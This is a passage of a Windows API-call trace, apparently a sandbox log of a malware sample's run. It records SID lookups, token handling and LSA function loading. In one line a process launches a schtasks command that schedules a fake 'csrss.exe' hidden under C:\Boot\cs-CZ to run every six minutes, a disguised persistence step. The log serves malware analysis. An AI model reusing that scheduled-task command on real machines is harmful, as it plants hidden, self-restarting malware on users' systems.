_Dst=0x381178, _Src=0x3810e8, _Size=0x12 | out: _Dst=0x381178) returned 0x381178 [0067.671] memcpy (in: _Dst=0x381188, _Src=0x381118, _Size=0x4 | out: _Dst=0x381188) returned 0x381188 [0067.671] free (_Block=0xef020) [0067.672] free (_Block=0xeef00) [0067.672] malloc (_Size=0x18) returned 0xeef00 [0067.672] malloc (_Size=0x18) returned 0xef020 [0067.672] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0067.672] SysStringLen (param_1="4219442223") returned 0xa [0067.672] memcpy (in: _Dst=0x338368, _Src=0x381178, _Size=0x14 | out: _Dst=0x338368) returned 0x338368 [0067.672] memcpy (in: _Dst=0x33837a, _Src=0x3810e8, _Size=0x16 | out: _Dst=0x33837a) returned 0x33837a [0067.672] free (_Block=0xeef60) [0067.672] free (_Block=0xeef00) [0067.672] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0067.672] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0067.672] malloc (_Size=0x18) returned 0xeef00 [0067.672] malloc (_Size=0x18) returned 0xeef60 [0067.672] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0067.672] SysStringLen (param_1="-") returned 0x1 [0067.672] memcpy (in: _Dst=0x3382c8, _Src=0x338368, _Size=0x28 | out: _Dst=0x3382c8) returned 0x3382c8 [0067.672] memcpy (in: _Dst=0x3382ee, _Src=0x381178, _Size=0x4 | out: _Dst=0x3382ee) returned 0x3382ee [0067.672] free (_Block=0xef020) [0067.672] free (_Block=0xeef00) [0067.672] malloc (_Size=0x18) returned 0xeef00 [0067.672] malloc (_Size=0x18) returned 0xef020 [0067.672] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0067.672] SysStringLen (param_1="4223814209") returned 0xa [0067.673] memcpy (in: _Dst=0x34d958, _Src=0x3382c8, _Size=0x2a | out: _Dst=0x34d958) returned 0x34d958 [0067.673] memcpy (in: _Dst=0x34d980, _Src=0x381178, _Size=0x16 | out: _Dst=0x34d980) returned 0x34d980 [0067.673] free (_Block=0xeef60) [0067.673] free (_Block=0xeef00) [0067.673] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0067.673] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0067.673] malloc (_Size=0x18) returned 0xeef00 [0067.673] malloc (_Size=0x18) returned 0xeef60 [0067.673] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0067.673] SysStringLen (param_1="-") returned 0x1 [0067.673] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x3e | out: _Dst=0x327668) returned 0x327668 [0067.673] memcpy (in: _Dst=0x3276a4, _Src=0x381178, _Size=0x4 | out: _Dst=0x3276a4) returned 0x3276a4 [0067.673] free (_Block=0xef020) [0067.673] free (_Block=0xeef00) [0067.673] malloc (_Size=0x18) returned 0xeef00 [0067.673] malloc (_Size=0x18) returned 0xef020 [0067.673] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0067.673] SysStringLen (param_1="3835049652") returned 0xa [0067.673] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x40 | out: _Dst=0x34d958) returned 0x34d958 [0067.673] memcpy (in: _Dst=0x34d996, _Src=0x381178, _Size=0x16 | out: _Dst=0x34d996) returned 0x34d996 [0067.673] free (_Block=0xeef60) [0067.673] free (_Block=0xeef00) [0067.673] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0067.674] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0067.674] malloc (_Size=0x18) returned 0xeef00 [0067.674] malloc (_Size=0x18) returned 0xeef60 [0067.674] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0067.674] SysStringLen (param_1="-") returned 0x1 [0067.674] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x54 | out: _Dst=0x327668) returned 0x327668 [0067.674] memcpy (in: _Dst=0x3276ba, _Src=0x381178, _Size=0x4 | out: _Dst=0x3276ba) returned 0x3276ba [0067.674] free (_Block=0xef020) [0067.674] free (_Block=0xeef00) [0067.674] malloc (_Size=0x18) returned 0xeef00 [0067.674] malloc (_Size=0x18) returned 0xef020 [0067.674] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0067.674] SysStringLen (param_1="1000") returned 0x4 [0067.674] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x56 | out: _Dst=0x34d958) returned 0x34d958 [0067.674] memcpy (in: _Dst=0x34d9ac, _Src=0x381178, _Size=0xa | out: _Dst=0x34d9ac) returned 0x34d9ac [0067.674] free (_Block=0xeef60) [0067.674] free (_Block=0xeef00) [0067.674] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0067.674] malloc (_Size=0x5e) returned 0xf0800 [0067.674] free (_Block=0xef020) [0067.674] malloc (_Size=0x18) returned 0xef020 [0067.675] free (_Block=0xf0800) [0067.675] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0067.677] GetLastError () returned 0x7a [0067.677] malloc (_Size=0x14) returned 0xeef00 [0067.677] malloc (_Size=0x16) returned 0xeef60 [0067.677] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef00, cchName=0xebcca4, ReferencedDomainName=0xeef60, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0067.677] malloc (_Size=0x18) returned 0xef040 [0067.677] malloc (_Size=0x18) returned 0xeef20 [0067.677] free (_Block=0xeef00) [0067.677] free (_Block=0xeef60) [0067.677] free (_Block=0xeff60) [0067.678] free (_Block=0xeef20) [0067.678] free (_Block=0xef040) [0067.678] free (_Block=0xef020) [0067.678] free (_Block=0xee200) [0067.678] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0067.678] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0067.678] GetLastError () returned 0x7a [0067.678] malloc (_Size=0x2c) returned 0xee240 [0067.678] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0067.679] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0067.679] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0067.679] malloc (_Size=0x1c) returned 0xeff60 [0067.679] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0067.679] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0067.679] malloc (_Size=0x18) returned 0xef020 [0067.679] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0067.679] malloc (_Size=0x18) returned 0xef040 [0067.679] malloc (_Size=0x18) returned 0xeef20 [0067.679] SysStringLen (param_1="S-1-") returned 0x4 [0067.679] SysStringLen (param_1="5") returned 0x1 [0067.679] memcpy (in: _Dst=0x3810e8, _Src=0x381118, _Size=0xa | out: _Dst=0x3810e8) returned 0x3810e8 [0067.679] memcpy (in: _Dst=0x3810f0, _Src=0x381178, _Size=0x4 | out: _Dst=0x3810f0) returned 0x3810f0 [0067.679] free (_Block=0xef020) [0067.679] free (_Block=0xef040) [0067.679] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0067.679] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0067.679] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0067.679] malloc (_Size=0x18) returned 0xef040 [0067.679] malloc (_Size=0x18) returned 0xef020 [0067.679] SysStringLen (param_1="S-1-5") returned 0x5 [0067.679] SysStringLen (param_1="-") returned 0x1 [0067.679] memcpy (in: _Dst=0x381178, _Src=0x3810e8, _Size=0xc | out: _Dst=0x381178) returned 0x381178 [0067.679] memcpy (in: _Dst=0x381182, _Src=0x381118, _Size=0x4 | out: _Dst=0x381182) returned 0x381182 [0067.679] free (_Block=0xeef20) [0067.680] free (_Block=0xef040) [0067.680] malloc (_Size=0x18) returned 0xef040 [0067.680] malloc (_Size=0x18) returned 0xeef20 [0067.680] SysStringLen (param_1="S-1-5-") returned 0x6 [0067.680] SysStringLen (param_1="21") returned 0x2 [0067.680] memcpy (in: _Dst=0x381118, _Src=0x381178, _Size=0xe | out: _Dst=0x381118) returned 0x381118 [0067.680] memcpy (in: _Dst=0x381124, _Src=0x3810e8, _Size=0x6 | out: _Dst=0x381124) returned 0x381124 [0067.680] free (_Block=0xef020) [0067.680] free (_Block=0xef040) [0067.680] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0067.680] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0067.680] malloc (_Size=0x18) returned 0xef040 [0067.680] malloc (_Size=0x18) returned 0xef020 [0067.680] SysStringLen (param_1="S-1-5-21") returned 0x8 [0067.680] SysStringLen (param_1="-") returned 0x1 [0067.680] memcpy (in: _Dst=0x3810e8, _Src=0x381118, _Size=0x12 | out: _Dst=0x3810e8) returned 0x3810e8 [0067.680] memcpy (in: _Dst=0x3810f8, _Src=0x381178, _Size=0x4 | out: _Dst=0x3810f8) returned 0x3810f8 [0067.680] free (_Block=0xeef20) [0067.680] free (_Block=0xef040) [0067.680] malloc (_Size=0x18) returned 0xef040 [0067.680] malloc (_Size=0x18) returned 0xeef20 [0067.680] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0067.681] SysStringLen (param_1="4219442223") returned 0xa [0067.681] memcpy (in: _Dst=0x338368, _Src=0x3810e8, _Size=0x14 | out: _Dst=0x338368) returned 0x338368 [0067.681] memcpy (in: _Dst=0x33837a, _Src=0x381118, _Size=0x16 | out: _Dst=0x33837a) returned 0x33837a [0067.681] free (_Block=0xef020) [0067.681] free (_Block=0xef040) [0067.681] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0067.681] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0067.681] malloc (_Size=0x18) returned 0xef040 [0067.681] malloc (_Size=0x18) returned 0xef020 [0067.681] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0067.681] SysStringLen (param_1="-") returned 0x1 [0067.681] memcpy (in: _Dst=0x3382c8, _Src=0x338368, _Size=0x28 | out: _Dst=0x3382c8) returned 0x3382c8 [0067.681] memcpy (in: _Dst=0x3382ee, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x3382ee) returned 0x3382ee [0067.681] free (_Block=0xeef20) [0067.681] free (_Block=0xef040) [0067.681] malloc (_Size=0x18) returned 0xef040 [0067.681] malloc (_Size=0x18) returned 0xeef20 [0067.681] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0067.681] SysStringLen (param_1="4223814209") returned 0xa [0067.681] memcpy (in: _Dst=0x327668, _Src=0x3382c8, _Size=0x2a | out: _Dst=0x327668) returned 0x327668 [0067.681] memcpy (in: _Dst=0x327690, _Src=0x3810e8, _Size=0x16 | out: _Dst=0x327690) returned 0x327690 [0067.681] free (_Block=0xef020) [0067.682] free (_Block=0xef040) [0067.682] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0067.682] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0067.682] malloc (_Size=0x18) returned 0xef040 [0067.682] malloc (_Size=0x18) returned 0xef020 [0067.682] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0067.682] SysStringLen (param_1="-") returned 0x1 [0067.682] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x3e | out: _Dst=0x34d958) returned 0x34d958 [0067.682] memcpy (in: _Dst=0x34d994, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x34d994) returned 0x34d994 [0067.682] free (_Block=0xeef20) [0067.682] free (_Block=0xef040) [0067.682] malloc (_Size=0x18) returned 0xef040 [0067.682] malloc (_Size=0x18) returned 0xeef20 [0067.682] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0067.682] SysStringLen (param_1="3835049652") returned 0xa [0067.682] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x40 | out: _Dst=0x327668) returned 0x327668 [0067.682] memcpy (in: _Dst=0x3276a6, _Src=0x3810e8, _Size=0x16 | out: _Dst=0x3276a6) returned 0x3276a6 [0067.682] free (_Block=0xef020) [0067.682] free (_Block=0xef040) [0067.682] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0067.682] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0067.682] malloc (_Size=0x18) returned 0xef040 [0067.683] malloc (_Size=0x18) returned 0xef020 [0067.683] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0067.683] SysStringLen (param_1="-") returned 0x1 [0067.683] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x54 | out: _Dst=0x34d958) returned 0x34d958 [0067.683] memcpy (in: _Dst=0x34d9aa, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x34d9aa) returned 0x34d9aa [0067.683] free (_Block=0xeef20) [0067.683] free (_Block=0xef040) [0067.683] malloc (_Size=0x18) returned 0xef040 [0067.683] malloc (_Size=0x18) returned 0xeef20 [0067.683] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0067.683] SysStringLen (param_1="1000") returned 0x4 [0067.683] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x56 | out: _Dst=0x327668) returned 0x327668 [0067.683] memcpy (in: _Dst=0x3276bc, _Src=0x3810e8, _Size=0xa | out: _Dst=0x3276bc) returned 0x3276bc [0067.683] free (_Block=0xef020) [0067.683] free (_Block=0xef040) [0067.683] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0067.683] malloc (_Size=0x5e) returned 0xf0800 [0067.683] free (_Block=0xeef20) [0067.683] malloc (_Size=0x18) returned 0xeef20 [0067.684] free (_Block=0xf0800) [0067.684] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0067.684] GetLastError () returned 0x7a [0067.684] malloc (_Size=0x14) returned 0xef040 [0067.685] malloc (_Size=0x16) returned 0xef020 [0067.685] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef040, cchName=0xebccb4, ReferencedDomainName=0xef020, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0067.685] malloc (_Size=0x18) returned 0xeef60 [0067.685] malloc (_Size=0x18) returned 0xeef00 [0067.685] free (_Block=0xef040) [0067.685] free (_Block=0xef020) [0067.685] free (_Block=0xeff60) [0067.685] free (_Block=0xeef00) [0067.685] free (_Block=0xeef60) [0067.685] free (_Block=0xeef20) [0067.686] free (_Block=0xee240) [0067.686] malloc (_Size=0x48) returned 0xed2c0 [0067.686] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0067.693] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0067.694] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0067.694] malloc (_Size=0x18) returned 0xeef20 [0067.694] CreateEnvironmentBlock () returned 0x1 [0067.700] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0067.700] malloc (_Size=0x18) returned 0xeef60 [0067.700] CreateProcessAsUserW (in: hToken=0x248, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"csrssc\" /sc MINUTE /mo 6 /tr \"'C:\\Boot\\cs-CZ\\csrss.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"csrssc\" /sc MINUTE /mo 6 /tr \"'C:\\Boot\\cs-CZ\\csrss.exe'\" /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0xf78, dwThreadId=0xf7c)) returned 1 [0067.705] CloseHandle (hObject=0x2f8) returned 1 [0067.706] CloseHandle (hObject=0x2fc) returned 1 [0067.706] free (_Block=0xeef60) [0067.706] DestroyEnvironmentBlock () returned 0x1 [0067.706] malloc (_Size=0x48) returned 0xed270 [0067.706] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x516f4d60, dwHighDateTime=0x1d9eb0c)) [0067.706] SetEvent (hEvent=0x1f0) returned 1 [0067.706] CloseHandle (hObject=0x234) returned 1 [0067.706] CloseHandle (hObject=0x248) returned 1 [0067.795] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da90 [0067.795] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da90, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0067.795] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0068.081] SetLastError (dwErrCode=0x0) [0068.081] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0068.081] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0068.081] SetLastError (dwErrCode=0x0) [0068.081] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0) returned 1 [0068.081] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0068.081] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0068.081] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f4f0 [0068.081] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f4f0, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0068.081] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f4f0 | out: hHeap=0x2e0000) returned 1 [0068.083] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0068.084] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0068.084] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0068.084] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0068.085] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0068.085] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0068.085] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0068.087] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0068.087] GetCurrentThread () returned 0xfffffffffffffffe [0068.087] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x248) returned 1 [0068.087] malloc (_Size=0xd8) returned 0xf4740 [0068.087] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0068.088] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0068.088] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0068.088] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0068.088] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0068.089] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0068.089] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0068.089] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0068.089] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0068.089] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0068.090] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0068.090] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0068.090] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0068.090] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0068.090] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0068.090] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0068.091] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0068.091] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0068.091] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0068.091] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0068.091] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0068.091] malloc (_Size=0x18) returned 0xeef60 [0068.091] DuplicateTokenEx (in: hExistingToken=0x248, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x234) returned 1 [0068.092] malloc (_Size=0x48) returned 0xed400 [0068.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x51aacfc0, dwHighDateTime=0x1d9eb0c)) [0068.092] SetEvent (hEvent=0x1f0) returned 1 [0068.099] 